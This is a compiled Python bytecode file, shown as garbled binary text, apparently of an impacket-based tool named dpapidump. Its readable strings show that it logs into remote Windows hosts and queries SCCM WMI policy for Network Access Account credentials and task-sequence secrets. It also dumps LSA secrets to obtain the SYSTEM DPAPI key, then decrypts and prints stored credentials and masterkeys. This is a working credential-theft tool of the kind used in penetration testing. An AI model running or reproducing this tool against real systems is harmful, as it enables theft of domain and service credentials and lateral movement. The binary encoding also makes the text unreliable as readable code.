o
    àý°j?a  ã                
   @   sæ  d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
mZmZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZ d d
lmZ d dlmZmZ d dlmZ d dlmZm Z  d dl!m"Z" d dl#m$Z$m%Z%m&Z&m'Z'm(Z( d dl)m*Z* d dl+m,Z,m-Z- d dl.m/Z/ G dd„ dƒZ0e1dkrqej2j3du r­e 4d¡ej2ƒe_2e5ej6ƒ ej7dddZ8e8j9dddd e8j9dddd e8j9d d!d"d e8j9d#d!d$d e8j9d%dd&d e8j9d'dd(d e8j9d)d!d*d+d, e8j9d-d!d.d e8j9d/d!d0d e:d1 e8 ;d2¡Z<e<j9d3d!d4d5d, e<j9d6dd7d e<j9d8dd9d e<j9d:d!d;d<d, e<j9d=d!d>d e<j9d?g d@¢dAdBdCdD e8 ;dE¡Z<e<j9dFd!dGdHd, e<j9dId!dGdJd, e=ej>ƒdKkrge8 ?¡  e @dK¡ e8 A¡ ZBe CeBjD¡ eBjEdu r‡e F¡  GejH¡ e Ee I¡ ¡ ne F¡  GejJ¡ eeBjKƒ\ZLZMZNZOeBjPdu r¡eOeB_PeLdu r¨dLZLeNdLkrÎeMdLkrÎeBjQdu rÎeBjRdMu rÎeBjSdu rÎd dNlTmTZT eTdOƒZNeBjSdur×deB_UeBjVdurée/ WeBjVeMeLeB¡ deB_UeBjQdurøeBjQ XdP¡\ZYZZndLZYdLZZeBj[dur+zeBj[ XdQ¡\Z\Z]e ^e:e\ƒe:e]ƒ¡ W n e_y*   e `dR¡ e @dK¡ Y nw eBjadMu o5eBjbdMu eB_ce0eOeMeNeLeBƒZdzed e¡  W dS  e_yp Zf ze F¡ jgejHkr`d dlhZheh i¡  e `ef¡ W Y dZf[fdS dZf[fww dS )Sé    )Údivision)Úprint_functionN)Ú	unhexlifyÚhexlify)ÚBytesIO)Úversion)Úlogger)Úparse_target)ÚNULL)Úwmi)ÚDCOMConnectionÚ
COMVERSION)ÚDCERPCSessionError)ÚRPC_C_AUTHN_LEVEL_PKT_PRIVACYÚRPC_C_AUTHN_LEVEL_PKT_INTEGRITY)ÚSMBConnection)ÚMasterKeyFileÚ	MasterKeyÚCredentialFileÚ
DPAPI_BLOBÚCREDENTIAL_BLOB)Úbin_to_string)ÚRemoteOperationsÚ
LSASecrets)ÚKeytabc                   @   sV   e Zd Zddd„Zdd„ Zdd„ Zd	d
„ Zdd„ Zdd„ Zdd„ Z	dd„ Z
dd„ ZdS )Ú	DumpCredsÚ Nc                 C   sæ   || _ |j| _|| _|| _|| _d| _d| _|j| _	d | _
|j| _d | _d | _|j| _|j| _|jd u | _|j| _|| _d | _g | _i | _i | _i | _g | _|jpS|j| _|jpZ|j | _!|j"| _#|j$d urq|j$ %d¡\| _| _d S d S )Nr   ú:)&Ú_DumpCreds__remoteNameÚ	target_ipÚ_DumpCreds__remoteHostÚ_DumpCreds__usernameÚ_DumpCreds__passwordÚ_DumpCreds__domainÚ_DumpCreds__lmhashÚ_DumpCreds__nthashÚaesKeyÚ_DumpCreds__aesKeyÚ_DumpCreds__smbConnectionÚbootkeyÚ_DumpCreds__bootkeyÚ_DumpCreds__remoteOpsÚ_DumpCreds__LSASecretsÚuserkeyÚ_DumpCreds__userkeyÚkÚ_DumpCreds__doKerberosÚ_DumpCreds__dumpLSAÚdc_ipÚ_DumpCreds__kdcHostÚ_DumpCreds__optionsÚkeyÚsccm_secretsÚraw_credentialsÚraw_masterkeysÚ
masterkeysÚrequired_mksÚallÚsccmÚget_sccmÚcredsÚ	get_credsÚthrottleÚ_DumpCreds__throttleÚhashesÚsplit)ÚselfÚ
remoteNameÚusernameÚpasswordÚdomainÚoptions© rJ   ú‰/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/dpapidump.pyÚ__init__3   s:   
ÿzDumpCreds.__init__c              	   C   sb   t | j| jƒ| _| jr | j | j| j| j| j	| j
| j| j¡ d S | j | j| j| j| j	| j
¡ d S ©N)r   r   r    r(   r0   ÚkerberosLoginr!   r"   r#   r$   r%   r'   r3   Úlogin©rD   rJ   rJ   rK   ÚconnectR   s   ÿ"zDumpCreds.connectc                 C   s@   |  d¡r| d¡\}}| d¡d }t|dd … ƒ| _d S d S )Nzdpapi_machinekey:Ú
r   é   é   )Ú
startswithrC   r   r5   )rD   Ú
secretTypeÚsecretÚ
machineKeyÚuserKeyrJ   rJ   rK   ÚgetDPAPI_SYSTEMZ   s
   
ýzDumpCreds.getDPAPI_SYSTEMc                 C   sL   d }zt ƒ }t ||¡}| j |||j¡ | ¡ }| ¡  W |S    Y d S rM   )r   ÚntpathÚjoinr(   ÚgetFileÚwriteÚgetvalueÚclose)rD   ÚshareÚpathÚfilenameÚcontentÚfhÚfilepathrJ   rJ   rK   ÚgetFileContent`   s   
þzDumpCreds.getFileContentc                 C   sD   t |d ƒ}| j |d ¡}|d u rt d|› ¡ d S | |¡}|S )NÚGuidMasterKeyúCould not decrypt masterkey )r   r9   ÚgetÚloggingÚinfoÚdecrypt)rD   ÚblobÚmkidr5   Ú	decryptedrJ   rJ   rK   ÚdecryptBlobl   s   
zDumpCreds.decryptBlobc                 C   s*   t |d ƒ}|| jvr| j |¡ d S d S )Nrh   )r   r:   Úappend)rD   rn   ro   rJ   rJ   rK   ÚdecideBlobMasterkeyu   s   
ÿzDumpCreds.decideBlobMasterkeyc              
   C   s  d}	 zÐ|  dd¡d }| ¡ }d|v red|v re| di ¡ dd ¡}| di ¡ dd ¡}ttt ||¡ d¡ƒd	d … ƒ}ttt ||¡ d¡ƒd	d … ƒ}d
||ii}	| j 	|	¡ |  
|¡ |  
|¡ nmd|v r”| di ¡ dd ¡}
ttt ||
¡ d¡ƒd	d … ƒ}d|i}	|  
|¡ | j 	|	¡ n>d|v rÒd|v rÒ| di ¡ dd ¡}| di ¡ dd ¡}ttt ||¡ d¡ƒd	d … ƒ}d||ii}	|  
|¡ | j 	|	¡ W n. ty } z!t ¡ jtjkrìdd l}| ¡  t|ƒ d¡dk rö‚ W Y d }~d S d }~ww q)NzA<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>Tl   ÿÿ rS   r   ÚNetworkAccessUsernameÚNetworkAccessPasswordÚvalueé   ÚNAA_CredentialsÚTS_SequenceÚNameÚValueúCollection VariableÚS_FALSE)ÚNextÚgetPropertiesrj   r   r   ÚreÚmatchÚgroupr6   rr   rs   Ú	Exceptionrk   Ú	getLoggerÚlevelÚDEBUGÚ	tracebackÚ	print_excÚstrÚfind)rD   ÚiEnumÚregexÚpEnumÚrecordÚ unparsed_network_access_usernameÚ unparsed_network_access_passwordÚusername_blobÚpassword_blobÚitemÚunparsed_task_sequenceÚtask_sequence_blobÚcollection_nameÚunparsed_collection_valueÚcollection_value_blobÚer‡   rJ   rJ   rK   ÚaddPolicySecretz   sL   ""
"
"
€€ùæzDumpCreds.addPolicySecretc           +      C   sŠ	  | j rddg}g d¢}z«t d¡ |D ]¡}|D ]œ}t d|› d|› d¡ t| j| j| j| j| j| j	| j
d| j| j| jd	}| tjtj¡}t |¡}z	| |tt¡}W n) ty~ }	 z| ¡  | ¡  |	jd
krk‚ t d|› ¡ W Y d }	~	 n;d }	~	ww | jjdkr| ¡  t¡ n| jjdkrš| ¡  t¡ | ¡  | |¡}
|   |
¡ |
 ¡  | ¡  | ¡  qqW n= t!yô }	 z1t "t#|	ƒ¡ t$|	ƒtju r×|	jd
kr×t "d¡ z|
 ¡  | ¡  | ¡  W n   Y W Y d }	~	nd }	~	ww t%| j&ƒdkrt d¡ nt dt#t%| j&ƒƒ d ¡ zd }z€z|  '¡  W n, t!yI }	 zt( )d¡d ur>| jdu r>t *dt#|	ƒ ¡ n‚ W Y d }	~	nd }	~	ww d}ddg}d}| j+r|D ]l}z| j, -|t. /|d¡¡}W n t!yz   t d|› ¡ Y qXw |D ]E}| 0¡ dkrÁ| 1¡ }d|v r‘q}t. /||¡}t d|› ¡ t d|› ¡ |  2|||¡}|r¸|| j3|< q}t d| d ¡ q}qXg }| j3 4¡ D ]B\}}t5|ƒ}t6|d  ƒ}t7|d! ƒ}|| j8vr÷t d"| ¡ |  2|||¡| j8|< | j8| d u rt d#|› d$¡ | 9|¡ qÌ|D ]}| j3|= q| j:D ],}|| j8vr6t d"|› ¡ |  2|||¡| j8|< | j8| d u rGt d#|› d¡ qt%| j3ƒdkrft%| j&ƒdkrft d%¡ |  ;¡  W W d S | j<d u r‹t=| j,| j| jƒ| _>| j> ?¡  | j@s…| j> A¡ }ntB| j@ƒ}n
tB| j<d&d … ƒ| _CW n0 t!yÆ }	 z#d'| _Dt E¡ jFtjGkr³dd lH}| I¡  t "d(t#|	ƒ ¡ W Y d }	~	nd }	~	ww | jDr| jCd u rz tJ|| j>| jK| jLd)| _M| jM N¡  t d*tO| jCƒ Pd+¡ ¡ W n- t!y }	 z t E¡ jFtjGkrdd lH}| I¡  t "d,t#|	ƒ ¡ W Y d }	~	nd }	~	ww |  ;¡  W n6 t!tQfyZ }	 z't E¡ jFtjGkr@dd lH}| I¡  t "|	¡ z|  ;¡  W n   Y W Y d }	~	nd }	~	ww | jCd u rht "d-¡ d S | j8 4¡ D ]j\}}|d u r}d | jR|< qm|}tS|ƒ}|t%|ƒd … }|d. dkst "d/| d0 ¡ qmtT|d |d. … ƒ}|t%|ƒd … }| U| jC¡}|sÁt "d1| ¡ qmt d2| d3 tO|ƒ Pd+¡ ¡ || jR|< qm| j&D ]‘}tV| W¡ ƒd } | d4kr||  }!tV|! W¡ ƒd }"|  X|"¡}#|  X|!|" ¡}$|#r
|# Pd5¡}#|$r|$ Pd5¡}$t d6|#› d7|$› ¡ qÛ| d8kr@|  X||  ¡}%|%r>|% Pd5¡ Yd9¡}%t d:|%› ¡ qÛ| d;krk||  }&tV|& W¡ ƒd }'|  X|&|' ¡}(|(r`|( Pd5¡}(t d<|'› d7|(› ¡ qÛ| j3 4¡ D ]P\}}t5|ƒ}t6|d  ƒ}t7|d! ƒ}| jR Z|d ¡})|)d u rŸt d1| d= | ¡ qrt d>| ¡ | U|)¡}%|%d urºt[|%ƒ}*|* \¡  qrt "d?| ¡ qrd S )@Nz'root\ccm\Policy\Machine\RequestedConfigz$root\ccm\Policy\Machine\ActualConfig)zQSELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccountz(SELECT TS_Sequence FROM CCM_TaskSequencez.SELECT Name, Value FROM CCM_CollectionVariablez#Querying SCCM configuration via WMIzWMI namespace z query 'ú'T)ÚoxidResolverÚ
doKerberosÚkdcHostÚ
remoteHostl     zInvalid WMI namespace ÚprivacyÚ	integrityzZCCM namespace not found, this usually means there is no SCCM configuration on the machine.r   zNo SCCM secrets foundzGot z SCCM secrets.Ú
KRB5CCNAMEz9SMBConnection didn't work, hoping Kerberos will help (%s)zC$zK\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Credentials\zM\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials\z2\Windows\System32\Microsoft\Protect\S-1-5-18\User\Ú*zNo credentials file found in Ú DFBE70A7E5CC19A398EBF1B96859CE5DzCredential file found: zRetrieving credential file: z*Could not get content of credential file: z
, skippingÚDatarh   zRetrieving masterkey file: z)Could not get content of masterkey file: z	 skippingzNothing to decrypt, quittingrT   FzRemoteOperations failed: %s)r@   ÚperSecretCallbackzdpapi_userkey: 0xzutf-8z LSA hashes extraction failed: %szCould not get SYSTEM userkeyÚMasterKeyLenzMasterkey file z does not contain a masterkeyri   zDecrypted masterkey z: 0xrx   zutf-16lez[NAA Credentials] r   ry   z
 
z[Task_Sequence] r|   z[Collection Variable] z, skipping credential zDecrypting credential z"Could not decrypt credential file )]r=   rk   rl   r   r   r!   r"   r#   r$   r%   r'   r0   r3   r    ÚCoCreateInstanceExr   ÚCLSID_WbemLevel1LoginÚIID_IWbemLevel1LoginÚIWbemLevel1LoginÚ	NTLMLoginr
   r   Ú
RemReleaseÚ
disconnectÚ
error_coder4   Úrpc_auth_levelÚget_dce_rpcÚset_auth_levelr   r   Ú	ExecQueryrš   rƒ   Úerrorr‰   ÚtypeÚlenr6   rQ   ÚosÚgetenvÚdebugr?   r(   ÚlistPathr[   r\   Úis_directoryÚget_longnamerg   r7   Úitemsr   r   r   r8   rr   r:   Úcleanupr.   r   r+   ÚenableRegistryr*   Ú
getBootKeyr   r5   r1   r„   r…   r†   r‡   rˆ   r   rA   rZ   r,   ÚdumpSecretsr   ÚdecodeÚKeyboardInterruptr9   r   r   rm   ÚlistÚkeysrq   Úrstriprj   r   Údump)+rD   Ú
namespacesÚqueriesÚ	namespaceÚqueryÚdcomÚ
iInterfaceÚiWbemLevel1LoginÚiWbemServicesr™   r‹   ÚbootKeyra   Ú
cred_pathsÚmk_pathÚ	cred_pathÚfilesÚfrc   Úcredential_pathÚdataÚuseless_credentialsr/   ÚvÚcredrn   ro   r‡   ÚmkfÚmkÚdecryptedKeyrW   Úsecret_typeÚcredentialsrF   Úusername_decryptedÚpassword_decryptedrp   Úcol_variableÚnamerv   r5   r>   rJ   rJ   rK   rÇ       sÂ  ÿ

ý

€ø	


€ß"
€÷þ€úþþ
€ó
€
€ 

€€ûþ
€ü
€ø


 





€

€


òzDumpCreds.dumpc                 C   s"   t  d¡ | jr| j ¡  d S d S )NzCleaning up... )rk   rl   r+   ÚfinishrP   rJ   rJ   rK   r¾   ”  s   
ÿzDumpCreds.cleanup)r   r   r   N)Ú__name__Ú
__module__Ú__qualname__rL   rQ   rZ   rg   rq   rs   rš   rÇ   r¾   rJ   rJ   rJ   rK   r   2   s    
	& ur   Ú__main__Úutf8TzOPerforms remote extraction of SYSTEM DPAPI credentials and SCCM client secrets.)Úadd_helpÚdescriptionz-credsÚ
store_truez4Extract SYSTEM user DPAPI credentials (default: all))ÚactionÚhelpz-sccmz.Extract SCCM client credentials (default: all)z-userkeyÚstorezdpapi_userkey for SYSTEM (e.g. if previously dumped using secretsdump). If not provided an LSA secrets dump will be performed to retrieve it.Útargetz6[[domain/]username[:password]@]<targetName or address>z-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-com-versionzMAJOR_VERSION.MINOR_VERSIONz<DCOM version, format is MAJOR_VERSION:MINOR_VERSION e.g. 5.7)rí   Úmetavarrî   z-bootkeyzbootkey for SYSTEM hivez	-throttlez&Throttle in seconds between operations)rí   rî   Údefaultrµ   Úauthenticationz-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-no-passz&don't ask for password (useful for -k)z-kzÁUse Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command linez-aesKeyzhex keyz<AES key to use for Kerberos Authentication (128 or 256 bits)z-keytabz"Read keys for SPN from keytab filez-rpc-auth-level)r¡   r    rò   ú?rò   z®default, integrity (RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) or privacy (RPC_C_AUTHN_LEVEL_PKT_PRIVACY). For example CIM path "root/MSCluster" would require privacy level by default))ÚchoicesÚnargsrò   rî   Ú
connectionz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz
-target-ipz£IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve itrS   r   F)Úgetpassz	Password:r   Ú.z>Wrong COMVERSION format, use dot separated integers e.g. "5.7")jÚ
__future__r   r   ÚargparseÚcodecsrk   r·   r€   Úsysr[   Úbinasciir   r   Úior   Úimpacketr   Úimpacket.examplesr   Úimpacket.examples.utilsr	   Úimpacket.dcerpc.v5.dtypesr
   Úimpacket.dcerpc.v5.dcomr   Úimpacket.dcerpc.v5.dcomrtr   r   Úimpacket.dcerpc.v5.dcom.wmir   Úimpacket.dcerpc.v5.rpcrtr   r   Úimpacket.smbconnectionr   Úimpacket.dpapir   r   r   r   r   Úimpacket.uuidr   Úimpacket.examples.regsecretsr   r   Úimpacket.krb5.keytabr   r   rå   ÚstdoutÚencodingÚ	getwriterÚprintÚBANNERÚArgumentParserÚparserÚadd_argumentÚintÚadd_argument_groupr‚   r¶   ÚargvÚ
print_helpÚexitÚ
parse_argsrI   ÚinitÚtsr¹   r„   ÚsetLevelr†   ÚgetInstallationPathÚINFOrð   rH   rF   rG   Úaddressr   rB   Úno_passr&   rø   r/   ÚkeytabÚloadKeysFromKeytabrC   ÚlmhashÚnthashÚcom_versionÚmajor_versionÚminor_versionÚset_default_versionrƒ   r´   r<   r>   r;   ÚdumperrÇ   r™   r…   r‡   rˆ   rJ   rJ   rJ   rK   Ú<module>   sÊ     
j

ÿ

ÿ

8
þ€ü¡